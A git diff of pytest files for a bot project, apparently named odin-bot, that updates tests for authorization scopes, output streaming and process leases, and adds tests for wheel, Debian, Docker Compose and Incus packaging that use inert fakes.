@@ import json from datetime import UTC, datetime, timedelta from pathlib import Path -from unittest.mock import patch from src.observability import aggregates @@ -96,6 +95,6 @@ def test_tail_truncation_discards_partial_first_line(self, tmp_path): entry = json.dumps({"timestamp": (now - timedelta(hours=1)).isoformat(), "failure": {"class": "OK"}, "tool_name": "t"}) p.write_text("x" * 500 + "\n" + entry + "\n") # long padding line, then the entry - with patch("src.observability.aggregates._AUDIT_TAIL_BYTES", 120): - out = aggregates.failure_aggregates(str(p), window_hours=24) - assert out["classified"] == 1 # padding line seeked past, entry parsed + out = aggregates.failure_aggregates(str(p), window_hours=24) + assert out["classified"] == 1 # malformed padding is skipped, not tail-clipped + assert out["coverage"]["tail_truncated"] is False diff --git a/tests/test_onboarding_durable_binding_restart.py b/tests/test_onboarding_durable_binding_restart.py index 330a84b8b..f413aff62 100644 --- a/tests/test_onboarding_durable_binding_restart.py +++ b/tests/test_onboarding_durable_binding_restart.py @@ -82,11 +82,12 @@ async def test_submitted_discord_credential_survives_fresh_environment_reload( @pytest.mark.asyncio @pytest.mark.parametrize("payload, fields", [ ({"timezone": "America/New_York"}, ["timezone"]), - ({"hosts": {"forge": {"address": "192.0.2.11", "ssh_user": "odin"}}}, ["tools.hosts"]), + ({"hosts": {"forge": {"address": "192.0.2.11", "ssh_user": "odin"}}}, + ["tools.hosts.forge.address", "tools.hosts.forge.ssh_user"]), ({"features": {"browser": True}}, ["browser.enabled"]), ({"timezone": "America/New_York", "hosts": {"forge": {"address": "192.0.2.11"}}, "features": {"browser": True}}, - ["timezone", "tools.hosts", "browser.enabled"]), + ["timezone", "tools.hosts.forge.address", "tools.hosts.forge.ssh_user", "browser.enabled"]), ]) async def test_setup_reports_restart_for_boot_time_consumers(install, payload, fields): bot, config_path, _environment = install diff --git a/tests/test_openai_codex_client.py b/tests/test_openai_codex_client.py index f0e50d567..9a7194a93 100644 --- a/tests/test_openai_codex_client.py +++ b/tests/test_openai_codex_client.py @@ -261,7 +261,11 @@ async def test_incomplete_returns_partial(self): _sse({"type": "response.incomplete", "response": {"incomplete_details": {"reason": "max_tokens"}}}), ]) - assert await _client()._read_stream(resp) == "partial" + from src.llm.errors import LLMIncompleteResponseError + + with pytest.raises(LLMIncompleteResponseError) as caught: + await _client()._read_stream(resp) + assert caught.value.partial_text == "partial" @pytest.mark.asyncio async def test_empty_stream_returns_empty(self): diff --git a/tests/test_openrouter.py b/tests/test_openrouter.py index 201369d8d..a8822ce8c 100644 --- a/tests/test_openrouter.py +++ b/tests/test_openrouter.py @@ -130,10 +130,10 @@ def test_endpoint_tags_drive_pin_and_profile_uses_one_limiting_route(): conservative = conservative_profile(rows, OpenRouterRoutingConfig()) assert conservative == { "total_window_tokens": 1_000_000, - "max_output_tokens": 393_216, + "max_output_tokens": 131_072, "source": "openrouter_conservative_routes", "context_route_tag": "alibaba", - "output_route_tag": "alibaba", + "output_route_tag": "deepinfra/fp8", } pinned = conservative_profile( rows, diff --git a/tests/test_output_authorization.py b/tests/test_output_authorization.py index 90ce8ae3b..b2f849885 100644 --- a/tests/test_output_authorization.py +++ b/tests/test_output_authorization.py @@ -97,12 +97,18 @@ def test_tier_and_scope_intersection(tier, scope): def test_session_tracks_identity_and_fails_closed_after_removal(): bot, request, manager, sessions = fixture(session=True) + from src.config.schema import ApiTokenIdentity + origin = ApiTokenIdentity(token="origin", user_id="reader") + sessions.get_identity.return_value = origin + sessions.get_auth_source.return_value = "static" + bot.config.web.api_tokens = [origin] with auth.web_output_scope(bot, request): assert auth.tool_scope_allows("read_file") manager.get.return_value = identity(allowed_tools=["search_history"]) - assert not auth.tool_scope_allows("read_file") + # Same-ID dynamic credentials never substitute for a static origin. + assert auth.tool_scope_allows("read_file") manager.get.return_value = None - bot.config.web.api_tokens = [identity(allowed_tools=["read_file"])] + bot.config.web.api_tokens = [origin.model_copy(update={"allowed_tools": ["read_file"]})] assert auth.tool_scope_allows("read_file") bot.config.web.api_tokens = [] assert not auth.tool_scope_allows("read_file") @@ -116,7 +122,7 @@ def test_admin_session_fallback_and_missing_manager(origin): request._api_identity = origin manager.get.return_value = None with auth.web_output_scope(bot, request): - assert auth.tool_scope_allows("read_file") + assert not auth.tool_scope_allows("read_file") request.app = {} with auth.web_output_scope(bot, request): assert not auth.tool_scope_allows("read_file") diff --git a/tests/test_output_streamer.py b/tests/test_output_streamer.py index 72694c0a5..815649ac4 100644 --- a/tests/test_output_streamer.py +++ b/tests/test_output_streamer.py @@ -588,7 +588,7 @@ async def on_output(line: str) -> None: assert "timed out" in output.lower() @pytest.mark.asyncio - async def test_callback_exception_ignored(self): + async def test_callback_exception_fails_with_owned_child_cleanup(self): from src.tools.ssh import run_local_command async def bad_callback(line: str) -> None: @@ -599,8 +599,8 @@ async def bad_callback(line: str) -> None: timeout=10, on_output=bad_callback, ) - assert code == 0 - assert "test" in output + assert code == 1 + assert "boom" in output @pytest.mark.asyncio async def test_callback_multiline(self): @@ -637,7 +637,7 @@ async def on_output(line: str) -> None: with patch("src.tools.ssh.asyncio.create_subprocess_exec") as mock_exec: proc = AsyncMock() - proc.stdout.readline = AsyncMock( + proc.stdout.read = AsyncMock( side_effect=[b"line1\n", b"line2\n", b""], ) proc.wait = AsyncMock() @@ -1255,7 +1255,7 @@ async def test_read_lines_with_callback_helper(self): from src.tools.ssh import _read_lines_with_callback proc = AsyncMock() - proc.stdout.readline = AsyncMock( + proc.stdout.read = AsyncMock( side_effect=[b"hello\n", b"world\n", b""], ) proc.wait = AsyncMock() @@ -1421,6 +1421,7 @@ async def dispatch(*_args, audit_owned_by_caller=False): requester_name="u", channel_id_str="c", _iteration_index=1, + _loop_id="loop-owner", ) block = SimpleNamespace( id="loop_call_alpha", @@ -1441,7 +1442,9 @@ async def dispatch(*_args, audit_owned_by_caller=False): assert audit_call.await_args.kwargs["attribution"] == { "call_id": "loop_call_alpha", "iteration": 1, + "loop_id": "loop-owner", } + assert all(chunk.to_dict()["loop_id"] == "loop-owner" for chunk in seen) async def test_autonomous_loop_does_not_leak_parent_id_into_native_child(self): """A native spawn can create a long-lived child task. @@ -1479,6 +1482,7 @@ async def dispatch(*_args, audit_owned_by_caller=False): requester_name="u", channel_id_str="c", _iteration_index=1, + _loop_id="loop-owner", ) block = SimpleNamespace( id="spawn_parent", @@ -1498,6 +1502,7 @@ async def dispatch(*_args, audit_owned_by_caller=False): assert audit_call.await_args.kwargs["attribution"] == { "call_id": "spawn_parent", "iteration": 1, + "loop_id": "loop-owner", } @@ -1963,7 +1968,7 @@ async def flaky(_inp): executor._handle_test_tool = flaky result = await executor.execute("test_tool", {}) - assert result.ok and calls == 2 + assert result.ok and result.uncertain_outcome and calls == 2 assert streamer.active_stream_count == 0, ( "each attempt's stream must be settled, retry included" ) diff --git a/tests/test_packaging_behavior.py b/tests/test_packaging_behavior.py new file mode 100644 index 000000000..4d7bfbc02 --- /dev/null +++ b/tests/test_packaging_behavior.py @@ -0,0 +1,370 @@ +"""Exercise shipped packaging contracts without installs, services or networks.""" +from __future__ import annotations + +import importlib.util +import io +import json +import os +import shutil +import subprocess +import sys +import zipfile +from pathlib import Path +from unittest.mock import patch + +import pytest +import yaml + +from src.config.initialization import InitializationMode, InitializationRecoveryRequiredError +from src.config.package_migrations import migrate_compose_initialization, migrate_packaged_ssh_key +from src.config.persistence import patch_config_paths +from src.config.startup_context import provision_initialization_parent, resolve_startup_context + +ROOT = Path(__file__).resolve().parents[1] + + +@pytest.fixture(scope="module") +def built_wheel(tmp_path_factory): + directory = tmp_path_factory.mktemp("packaging-wheel") + shutil.copy(ROOT / "pyproject.toml", directory) + shutil.copytree(ROOT / "src", directory / "src", ignore=shutil.ignore_patterns("__pycache__")) + subprocess.run( + [sys.executable, "-c", "import setuptools.build_meta as b; b.build_wheel('wheel')"], + cwd=directory, check=True, capture_output=True, text=True, timeout=90, + ) + wheel = next((directory / "wheel").glob("*.whl")) + extracted = directory / "extracted" + with zipfile.ZipFile(wheel) as archive: + assert "src/tools/model_hints_seed.json" in archive.namelist() + archive.extractall(extracted) + return extracted + + +def test_built_wheel_imports_catalogue_and_explicit_entrypoint_help(built_wheel, tmp_path): + # CWD is deliberately not the source tree; no editable src may mask omissions. + code = ''' +import importlib.metadata as metadata +import pathlib, sys, urllib.request +import src.tools.model_hints as hints +assert pathlib.Path(hints.__file__).is_relative_to(pathlib.Path(sys.path[0])) +def no_network(*args, **kwargs): + raise AssertionError("help must not contact a server") +urllib.request.urlopen = no_network +entries = metadata.distribution("odin-bot").entry_points +for name in ("odin-client", "odin-server", "odin"): + entry = next(e for e in entries if e.name == name) + sys.argv = [name, "--help"] + try: + entry.load()() + except SystemExit as exc: + assert exc.code == 0 +''' + result = subprocess.run( + [sys.executable, "-c", f"import sys; sys.path.insert(0, {str(built_wheel)!r});" + code], + cwd=tmp_path, env=os.environ | {"PYTHONPATH": str(built_wheel)}, + text=True, capture_output=True, check=True, timeout=30, + ) + assert "--token" in result.stdout and "--env-file" in result.stdout + + +def test_debian_client_script_help_is_network_inert(tmp_path): + result = subprocess.run([sys.executable, str(ROOT / "scripts/odin-cli.py"), "--help"], + cwd=tmp_path, check=True, capture_output=True, text=True, timeout=10, + env=os.environ | {"ODIN_URL": "http://inert.invalid"}) + assert "--token" in result.stdout and "--json" in result.stdout + + +@pytest.mark.parametrize("client", ["source", "debian"]) +@pytest.mark.parametrize("json_mode", [False, True]) +@pytest.mark.parametrize("is_error", [False, True]) +def test_cli_real_request_rendering_and_exit_parity( + monkeypatch, capsys, client, json_mode, is_error +): + if client == "source": + from src.cli import main + else: + spec = importlib.util.spec_from_file_location("packaged_cli", ROOT / "scripts/odin-cli.py") + module = importlib.util.module_from_spec(spec) + spec.loader.exec_module(module) + main = module.main + payload = {"response": "fixture response", "is_error": is_error} + calls = [] + + def urlopen(request, timeout): + calls.append((request, timeout)) + return io.BytesIO(json.dumps(payload).encode()) + + monkeypatch.setattr(sys, "argv", ["odin-client", "fixture prompt", "--url", "http://inert/", + "--token", "fixture", "--timeout", "17"] + + (["--json"] if json_mode else [])) + with patch("urllib.request.urlopen", urlopen): + assert main() == int(is_error) + request, timeout = calls[0] + assert request.full_url == "http://inert/api/execute" + assert request.get_method() == "POST" + assert request.get_header("Authorization") == "Bearer fixture" + assert json.loads(request.data) == {"prompt": "fixture prompt"} + assert timeout == 17 + output = capsys.readouterr().out + assert json.loads(output) == payload if json_mode else output.strip() == "fixture response" + + +def test_debian_server_wrapper_uses_install_cwd_from_unrelated_directory(tmp_path): + app = tmp_path / "package" + shutil.copytree(ROOT / "src", app / "src", ignore=shutil.ignore_patterns("__pycache__")) + bin_dir = app / ".venv/bin" + bin_dir.mkdir(parents=True) + python = bin_dir / "python" + python.write_text(f'#!/bin/sh\nexec "{sys.executable}" "$@"\n') + python.chmod(0o755) + wrapper = tmp_path / "odin-server" + wrapper.write_text((ROOT / "scripts/odin-server").read_text().replace("/opt/odin", str(app))) + result = subprocess.run(["sh", str(wrapper), "--help"], cwd=tmp_path, check=True, + text=True, capture_output=True, timeout=30, + env=os.environ | {"PYTHONPATH": ""}) + assert "active configuration file" in result.stdout + + +@pytest.mark.parametrize("key_value", [None, "legacy", "/custom/key", "${CUSTOM_KEY}"]) +def test_debian_key_migration_preserves_custom_values_comments_mode_and_symlinks( + tmp_path, key_value +): + legacy = tmp_path / "legacy/key" + packaged = tmp_path / "package/key" + packaged.parent.mkdir() + packaged.write_text("inert identity, never replaced") + target = tmp_path / "operator.yml" + effective_value = legacy if key_value == "legacy" else key_value + key_line = "" if key_value is None else f" ssh_key_path: {effective_value}\n" + original = "# operator comment\ntools:\n" + key_line + " command_timeout: 77\n" + target.write_text(original) + target.chmod(0o600) + alias = tmp_path / "config.yml" + alias.symlink_to(target) + changes = key_value in (None, "legacy") + assert migrate_packaged_ssh_key(alias, packaged, legacy) == changes + assert alias.is_symlink() and alias.resolve() == target + assert target.stat().st_mode & 0o777 == 0o600 + assert "# operator comment" in target.read_text() + assert yaml.safe_load(target.read_text())["tools"]["command_timeout"] == 77 + if changes: + assert yaml.safe_load(target.read_text())["tools"]["ssh_key_path"] == str(packaged) + else: + assert target.read_text() == original + assert packaged.read_text() == "inert identity, never replaced" + assert not migrate_packaged_ssh_key(alias, packaged, legacy) + + +@pytest.mark.parametrize("legacy_kind", ["file", "dangling_symlink", "absent_packaged", "anchor"]) +def test_debian_key_migration_never_replaces_existing_identity_or_shared_yaml( + tmp_path, legacy_kind +): + legacy = tmp_path / "legacy-key" + packaged = tmp_path / "packaged-key" + if legacy_kind != "absent_packaged": + packaged.write_text("packaged fixture") + if legacy_kind == "file": + legacy.write_text("operator identity") + elif legacy_kind == "dangling_symlink": + legacy.symlink_to(tmp_path / "not-present") + config = tmp_path / "config.yml" + original = f"tools: {'&shared ' if legacy_kind == 'anchor' else ''}{{ssh_key_path: {legacy}}}\n" + if legacy_kind == "anchor": + original += "other: *shared\n" + config.write_text(original) + assert not migrate_packaged_ssh_key(config, packaged, legacy) + assert config.read_text() == original + + +def test_browser_installer_executes_install_and_launch_without_swallowing_failures(tmp_path): + python = tmp_path / "python" + trace = tmp_path / "trace" + python.write_text('#!/bin/sh\nprintf "%s\\n" "$*" >> "$TRACE"\n' + 'if [ "$1" = -m ]; then exit "${FAIL_INSTALL:-0}"; fi\n' + 'exit "${FAIL_LAUNCH:-0}"\n') + python.chmod(0o755) + env = os.environ | {"TRACE": str(trace), "PLAYWRIGHT_BROWSERS_PATH": str(tmp_path / "cache")} + script = ROOT / "scripts/install-browser-runtime.sh" + for extras in ([], ["--with-deps"]): + result = subprocess.run(["sh", str(script), str(python), *extras], env=env, + capture_output=True, text=True, check=True) + assert result.returncode == 0 + calls = trace.read_text() + assert "-m playwright install chromium" in calls + assert "-m playwright install --with-deps chromium" in calls + assert "p.chromium.launch(headless=True" in calls and "browser.close()" in calls + for failure in ("FAIL_INSTALL", "FAIL_LAUNCH"): + result = subprocess.run(["sh", str(script), str(python)], env=env | {failure: "17"}, + capture_output=True, text=True) + assert result.returncode == 17 + + +def test_compose_layout_allows_real_atomic_config_update_after_legacy_migration(tmp_path): + compose = yaml.safe_load((ROOT / "docker-compose.yml").read_text()) + volumes = compose["services"]["odin-bot"]["volumes"] + assert "./config:/app/config" in volumes + assert "./config.yml:/app/config.yml:ro" in volumes + assert "odin-voice" not in compose["services"] + legacy = tmp_path / "legacy.yml" + legacy.write_text("# retained\nweb:\n port: 3001\n") + config_dir = tmp_path / "config" + bindir = tmp_path / "bin" + bindir.mkdir() + python = bindir / "python" + python.write_text('#!/bin/sh\nprintf "%s\\n" "$@"\n') + python.chmod(0o755) + env = os.environ | {"ODIN_COMPOSE_CONFIG_DIR": str(config_dir), + "ODIN_COMPOSE_LEGACY_CONFIG": str(legacy), + "PATH": f"{bindir}:/usr/bin:/bin"} + command = compose["services"]["odin-bot"]["command"] + command[1] = str(ROOT / "scripts/docker-compose-entrypoint.sh") + subprocess.run(command, env=env, check=True, capture_output=True) + target = config_dir / "config.yml" + inode = target.stat().st_ino + patch_config_paths([(("web", "port"), 3002)], path=target) + assert target.stat().st_ino != inode + assert "# retained" in target.read_text() + assert yaml.safe_load(target.read_text())["web"]["port"] == 3002 + assert yaml.safe_load(legacy.read_text())["web"]["port"] == 3001 + subprocess.run(command, env=env, check=True, capture_output=True) + assert yaml.safe_load(target.read_text())["web"]["port"] == 3002 + + +def test_incus_script_manifest_and_template_paths_with_inert_transport(tmp_path): + project = tmp_path / "project" + scripts = project / "scripts" + scripts.mkdir(parents=True) + script = scripts / "incus-deploy.sh" + shutil.copy(ROOT / "scripts/incus-deploy.sh", script) + for name in ("config.yml", ".env", "pyproject.toml"): + (project / name).write_text("inert fixture") + for name in ("src", "ui/dist", "data/context", "data/skills"): + (project / name).mkdir(parents=True) + (project / "data/context/inert.template").write_text("template fixture") + shutil.copy(ROOT / "scripts/install-browser-runtime.sh", scripts) + bindir = tmp_path / "bin" + bindir.mkdir() + trace = tmp_path / "trace" + incus = bindir / "incus" + incus.write_text('#!/usr/bin/python3\nimport json, os, sys\n' + 'with open(os.environ["TRACE"], "a") as f:\n' + ' f.write(json.dumps(sys.argv[1:]) + "\\n")\n') + incus.chmod(0o755) + subprocess.run(["bash", str(script), "inert-container"], check=True, text=True, + capture_output=True, timeout=15, + env=os.environ | {"PATH": f"{bindir}:/usr/bin:/bin", "TRACE": str(trace)}) + calls = [json.loads(line) for line in trace.read_text().splitlines()] + ui = [call for call in calls if call[:3] == ["file", "push", "-r"] and + call[3] == str(project / "ui")] + assert ui == [["file", "push", "-r", str(project / "ui"), "inert-container/app/"]] + assert ["file", "push", str(project / "data/context/inert.template"), + "inert-container/app/data/context/inert.template"] in calls + exec_code = "\n".join(call[-1] for call in calls if call[0] == "exec") + assert "'[pdf,browser]'" not in exec_code # dependency is attached to the project + assert "'.[pdf,browser]'" in exec_code + assert "sh /app/install-browser-runtime.sh python3 --with-deps" in exec_code + assert "Environment=PLAYWRIGHT_BROWSERS_PATH=/app/.cache/ms-playwright" in exec_code + for call in calls: + if call[:2] == ["file", "push"]: + assert Path(call[-2]).exists() + + +@pytest.mark.parametrize("complete", [False, True]) +@pytest.mark.parametrize("explicit", [False, True]) +def test_compose_relocation_preserves_initialization_and_listener_decision( + tmp_path, monkeypatch, complete, explicit +): + old_config = tmp_path / "old/config.yml" + old_config.parent.mkdir() + old_config.write_text("web: {}\n") + target = tmp_path / "new/config.yml" + target.parent.mkdir() + shutil.copy(old_config, target) + state_path = str(tmp_path / "pinned/state.json") if explicit else None + if explicit: + monkeypatch.setenv("ODIN_INITIALIZATION_STATE", state_path) + else: + monkeypatch.delenv("ODIN_INITIALIZATION_STATE", raising=False) + context = resolve_startup_context(old_config, initialization_state=state_path) + provision_initialization_parent(context.initialization_state_path) + store = context.onboarding_store() + store.provision_fresh() + if complete: + store.complete(lambda: None) + store.set_bind_decision(loopback_restricted=False, explicit_widening=True) + before = context.initialization_state_path.read_bytes() + assert migrate_compose_initialization(old_config, target) + relocated = resolve_startup_context( + target, initialization_state=state_path + ).onboarding_store().state() + mode = InitializationMode.COMPLETE if complete else InitializationMode.PENDING + assert relocated.mode is mode + assert relocated.loopback_restricted is not complete + assert relocated.explicit_widening is complete + assert relocated.binding.config_path == target.resolve() + if not explicit: + assert context.initialization_state_path.read_bytes() == before + assert not migrate_compose_initialization(old_config, target) + + +def test_compose_relocation_never_discards_corrupt_initialization(tmp_path): + old_config = tmp_path / "old/config.yml" + old_config.parent.mkdir() + old_config.write_text("web: {}\n") + target = tmp_path / "new/config.yml" + target.parent.mkdir() + shutil.copy(old_config, target) + context = resolve_startup_context(old_config) + provision_initialization_parent(context.initialization_state_path) + context.initialization_state_path.write_text("broken fixture") + context.initialization_state_path.chmod(0o600) + with pytest.raises(InitializationRecoveryRequiredError): + migrate_compose_initialization(old_config, target) + assert context.initialization_state_path.read_text() == "broken fixture" + assert not resolve_startup_context(target).initialization_state_path.exists() + + +def test_all_shipped_operational_shell_scripts_parse(): + for directory in ("scripts", "packaging"): + for script in (ROOT / directory).glob("*.sh"): + subprocess.run(["bash", "-n", str(script)], check=True, capture_output=True) + subprocess.run(["sh", "-n", str(ROOT / "scripts/odin-server")], + check=True, capture_output=True) + + +def test_compose_relocation_keeps_existing_target_state(tmp_path): + configs = [tmp_path / name / "config.yml" for name in ("old", "new")] + contexts = [] + for config in configs: + config.parent.mkdir() + config.write_text("web: {}\n") + context = resolve_startup_context(config) + provision_initialization_parent(context.initialization_state_path) + context.onboarding_store().provision_fresh() + contexts.append(context) + target_store = contexts[1].onboarding_store() + target_store.complete(lambda: None) + before = contexts[1].initialization_state_path.read_bytes() + assert not migrate_compose_initialization(*configs) + assert contexts[1].initialization_state_path.read_bytes() == before + assert target_store.state().mode is InitializationMode.COMPLETE + + +def test_compose_relocation_does_not_invent_pending_state_for_legacy_without_record(tmp_path): + assert not migrate_compose_initialization(tmp_path / "old.yml", tmp_path / "new.yml") + assert not (tmp_path / "data").exists() + + +def test_docker_runtime_has_package_source_and_browser_qualification(): + dockerfile = (ROOT / "Dockerfile").read_text() + assert dockerfile.index("COPY src/ src/") < dockerfile.index("RUN pip install") + assert "ENV PLAYWRIGHT_BROWSERS_PATH=/app/.cache/ms-playwright" in dockerfile + assert "RUN sh /app/install-browser-runtime.sh python --with-deps" in dockerfile + package = yaml.safe_load((ROOT / "packaging/nfpm.yml").read_text()) + sources = {row["dst"]: row.get("src") for row in package["contents"]} + assert sources["/opt/odin/scripts/install-browser-runtime.sh"] == ( + "./scripts/install-browser-runtime.sh" + ) + assert "Environment=PLAYWRIGHT_BROWSERS_PATH=/opt/odin/.cache/ms-playwright" in ( + ROOT / "packaging/odin.service" + ).read_text() diff --git a/tests/test_packaging_campaign.py b/tests/test_packaging_campaign.py new file mode 100644 index 000000000..426612dcb --- /dev/null +++ b/tests/test_packaging_campaign.py @@ -0,0 +1,82 @@ +"""Regression tests for shipped install manifests and executable contracts.""" +from __future__ import annotations + +import json +import os +import subprocess +import tomllib +from pathlib import Path + +ROOT = Path(__file__).parents[1] + + +def test_wheel_declares_import_time_model_catalogue_resource(): + project = tomllib.loads((ROOT / "pyproject.toml").read_text()) + assert "model_hints_seed.json" in project["tool"]["setuptools"]["package-data"]["src.tools"] + assert (ROOT / "src/tools/model_hints_seed.json").is_file() + + +def test_official_python_install_paths_include_browser_dependency(): + project = tomllib.loads((ROOT / "pyproject.toml").read_text()) + assert "playwright" in project["project"]["optional-dependencies"]["browser"][0] + assert "browser" in (ROOT / "Dockerfile").read_text() + assert "browser" in (ROOT / "packaging/postinstall.sh").read_text() + incus = (ROOT / "scripts/incus-deploy.sh").read_text() + assert "ui\" \"$INSTANCE/app/" in incus + assert "[pdf,browser]" in incus + + +def test_packaged_cli_names_are_distinct_and_scripts_exist(): + project = tomllib.loads((ROOT / "pyproject.toml").read_text()) + scripts = project["project"]["scripts"] + assert scripts["odin"] == scripts["odin-client"] + assert scripts["odin-server"] != scripts["odin-client"] + package = (ROOT / "packaging/nfpm.yml").read_text() + assert "dst: /usr/local/bin/odin\n" in package + assert "/usr/local/bin/odin-client" in package + assert "/usr/local/bin/odin-server" in package + assert (ROOT / "scripts/odin-server").is_file() + + +def test_compose_persists_config_as_directory_and_has_no_removed_voice_tree(): + compose = (ROOT / "docker-compose.yml").read_text() + assert "./config:/app/config" in compose + assert "./config.yml:/app/config.yml:ro" in compose + assert ":ro" not in next(line for line in compose.splitlines() if "./config:" in line) + assert "voice-service" not in compose + assert "docker-compose-entrypoint.sh" in compose + + +def test_compose_legacy_config_migrates_once_without_overwriting_existing(tmp_path): + config_dir = tmp_path / "config" + config_dir.mkdir() + legacy = tmp_path / "config.yml" + legacy.write_text("web:\n port: 3001\n") + bindir = tmp_path / "bin" + bindir.mkdir() + python = bindir / "python" + python.write_text('#!/bin/sh\nprintf "%s\\n" "$@"\n') + python.chmod(0o755) + env = os.environ | { + "ODIN_COMPOSE_CONFIG_DIR": str(config_dir), + "ODIN_COMPOSE_LEGACY_CONFIG": str(legacy), + "PATH": f"{bindir}:{os.environ['PATH']}", + } + script = ROOT / "scripts/docker-compose-entrypoint.sh" + first = subprocess.run(["sh", str(script)], env=env, text=True, capture_output=True, check=True) + target = config_dir / "config.yml" + assert target.read_text() == legacy.read_text() + assert first.stdout.splitlines()[-3:] == ["-m", "src", str(target)] + target.write_text("operator edit\n") + subprocess.run(["sh", str(script)], env=env, text=True, capture_output=True, check=True) + assert target.read_text() == "operator edit\n" + + +def test_ui_guards_are_required_by_aggregate_check_and_workflow(): + package = json.loads((ROOT / "package.json").read_text()) + check = package["scripts"]["check"] + for name in ("check:setup-ui", "check:computer", "check:schedule-availability"): + assert f"npm run {name}" in check + assert name in package["scripts"] + workflow = (ROOT / ".github/workflows/ui.yml").read_text() + assert "npm run check" in workflow diff --git a/tests/test_process_host_lease_authority.py b/tests/test_process_host_lease_authority.py index 02d1e98b9..6d2a05f27 100644 --- a/tests/test_process_host_lease_authority.py +++ b/tests/test_process_host_lease_authority.py @@ -10,16 +10,14 @@ * **L1** -- stdin writes were governed without the bound host, so per-host strict overrides did not apply to interactive input the way they do to start/kill. -These tests drive REAL local processes through a REAL HostRegistry, disposed of -inside the test. Nothing here is destructive: jobs are sleeps and blocking -reads, and the assertions are about kill/lease bookkeeping, not about data. +These tests drive inert supervised-process transports through a REAL +HostRegistry. No command is executed and no native process is signalled; +generation ownership and cleanup publication remain production code paths. """ from __future__ import annotations import asyncio import os -import shlex -import sys import time from types import SimpleNamespace @@ -29,12 +27,82 @@ from src.config.schema import ToolHost from src.tools.handlers.system import SystemTools from src.tools.hosts import HostRegistry +from src.tools.local_supervisor import SupervisedShell from src.tools.output_authorization import request_host_authorizer from src.tools.process_manager import ProcessInfo, ProcessRegistry -from src.tools.risk_classifier import CommandGovernor +from src.tools.risk_classifier import CommandGovernor, RiskAssessment, RiskLevel -SLEEP_JOB = shlex.join([sys.executable, "-c", "import time; time.sleep(300)"]) -BLOCKING_READ = "cat >> /dev/null" +SLEEP_JOB = "inert-running-job" +BLOCKING_READ = "inert-stdin-job" +HIGH_INPUT = "inert-high-risk-input" +CRITICAL_INPUT = "inert-critical-risk-input" + + +class InertStdin: + def __init__(self): + self.data = bytearray() + + def write(self, data): + self.data.extend(data) + + async def drain(self): + pass + + +class InertSupervisedShell(SupervisedShell): + """Supervisor contract with explicit fake cleanup, no worker or OS PID.""" + + def __init__(self, pid): + # Do not call the native constructor or install its monitor. + self.pid = pid + self.returncode = None + self.stdin = InertStdin() + self.stdout = asyncio.StreamReader() + self.stderr = None + self._exited = asyncio.get_running_loop().create_future() + self._settled = asyncio.get_running_loop().create_future() + self.cleanup_calls = [] + + def exit_leader(self, returncode=0): + """Leader exit alone is deliberately not whole-job settlement.""" + if not self._exited.done(): + self.returncode = returncode + self._exited.set_result(returncode) + + def settle(self, returncode=0): + self.exit_leader(returncode) + if not self._settled.done(): + self._settled.set_result(True) + self.stdout.feed_eof() + + async def terminate_tree(self, grace=3.0): + self.cleanup_calls.append(grace) + self.settle(-15) + return await asyncio.shield(self._settled) + + +@pytest.fixture(autouse=True) +def inert_transports(monkeypatch): + """Fail closed if any test accidentally reaches a real process transport.""" + processes = {} + + async def spawn(command, **_kwargs): + proc = InertSupervisedShell(800000 + len(processes)) + processes[proc.pid] = proc + if command == "true": + asyncio.get_running_loop().call_soon(proc.settle) + return proc + + def forbidden(*_args, **_kwargs): + raise AssertionError("native process transport is forbidden in lease fixtures") + + monkeypatch.setattr("src.tools.local_supervisor.create_supervised_shell", spawn) + monkeypatch.setattr(asyncio, "create_subprocess_exec", forbidden) + monkeypatch.setattr(asyncio, "create_subprocess_shell", forbidden) + monkeypatch.setattr(os, "kill", forbidden) + monkeypatch.setattr(os, "killpg", forbidden) + monkeypatch.setattr("src.tools.process_manager._terminate_session_until_empty", forbidden) + return processes @pytest.fixture(autouse=True) @@ -52,15 +120,31 @@ def hosts(tmp_path): @pytest_asyncio.fixture -async def registry(tmp_path): +async def registry(tmp_path, inert_transports, monkeypatch): reg = ProcessRegistry(workspace=str(tmp_path), retention_dir=tmp_path / "evidence") reg._schedule_output_expiry = lambda info: None # no 24-hour timers in tests + cleanup = reg._kill_group_until_gone + persist = reg._persist_output try: yield reg finally: - for info in list(reg._processes.values()): - info.status = "killed" - await reg.shutdown() + # Tests deliberately inject failed cleanup/persistence. Teardown restores + # the inert transport, not a fabricated terminal status. Remote records + # in this module are metadata-only fakes with no remote execution or + # leases. Discard those synthetic records without inventing cleanup proof. + for pid, info in list(reg._processes.items()): + if info.remote: + assert info.process is None + assert info.host_lease is None and info.remote_lease is None + assert info._exit_task is None and info._reader_task is None + assert info._lifetime_task is None + del reg._processes[pid] + with monkeypatch.context() as teardown: + teardown.setattr(reg, "_kill_group_until_gone", cleanup) + teardown.setattr(reg, "_persist_output", persist) + for proc in inert_transports.values(): + proc.settle() + await reg.shutdown() def make_handler(hosts, registry, governor=None, state=None): @@ -90,7 +174,7 @@ def govern(command, host=None): async def start_local(registry, hosts, *, alias="prod", command=SLEEP_JOB, owner="owner"): - """Start a real local job holding a real generation lease, as the handler does.""" + """Start an inert local transport holding the handler's real generation lease.""" lease = hosts.acquire(alias) assert lease is not None, f"host {alias!r} must be targetable" result = await registry.start( @@ -101,12 +185,8 @@ async def start_local(registry, hosts, *, alias="prod", command=SLEEP_JOB, owner return pid, registry._processes[pid], lease -def pid_alive(pid: int) -> bool: - try: - os.kill(pid, 0) - except ProcessLookupError: - return False - return True +def pid_alive(registry, pid: int) -> bool: + return registry._processes[pid].process.returncode is None def pid_for_alias(registry, alias): @@ -163,12 +243,12 @@ async def test_running_local_job_is_terminated_and_the_kill_is_proven( self, hosts, registry ): pid, info, _lease = await start_local(registry, hosts) - assert pid_alive(pid) + assert pid_alive(registry, pid) summary = await registry.force_revoke_host("prod") assert summary == {"attempted": 1, "killed": 1, "unknown": 0} - assert not pid_alive(pid), "a revoked host must not leave a local job running" + assert not pid_alive(registry, pid), "a revoked host must not leave a local job running" assert info.status == "killed" assert info.process is not None and info.process.returncode is not None @@ -179,7 +259,7 @@ async def test_a_local_job_is_not_merely_output_expired(self, hosts, registry): await registry.force_revoke_host("prod") assert info.output_revoked is True - assert not pid_alive(pid), "expiring output is not terminating the effect" + assert not pid_alive(registry, pid), "expiring output is not terminating the effect" async def test_unprovable_termination_is_reported_unknown_not_killed( self, hosts, registry, monkeypatch @@ -198,7 +278,7 @@ async def unproven(_info, timeout=8.0): assert info.status != "killed", "unproven termination must not claim a kill" finally: # The deliberate false proof must not leak into fixture shutdown. - # Restore the real verifier and settle this test's owned process. + # Restore production verification of the inert supervisor contract. monkeypatch.setattr(registry, "_kill_group_until_gone", real_proof) assert await real_proof(info) 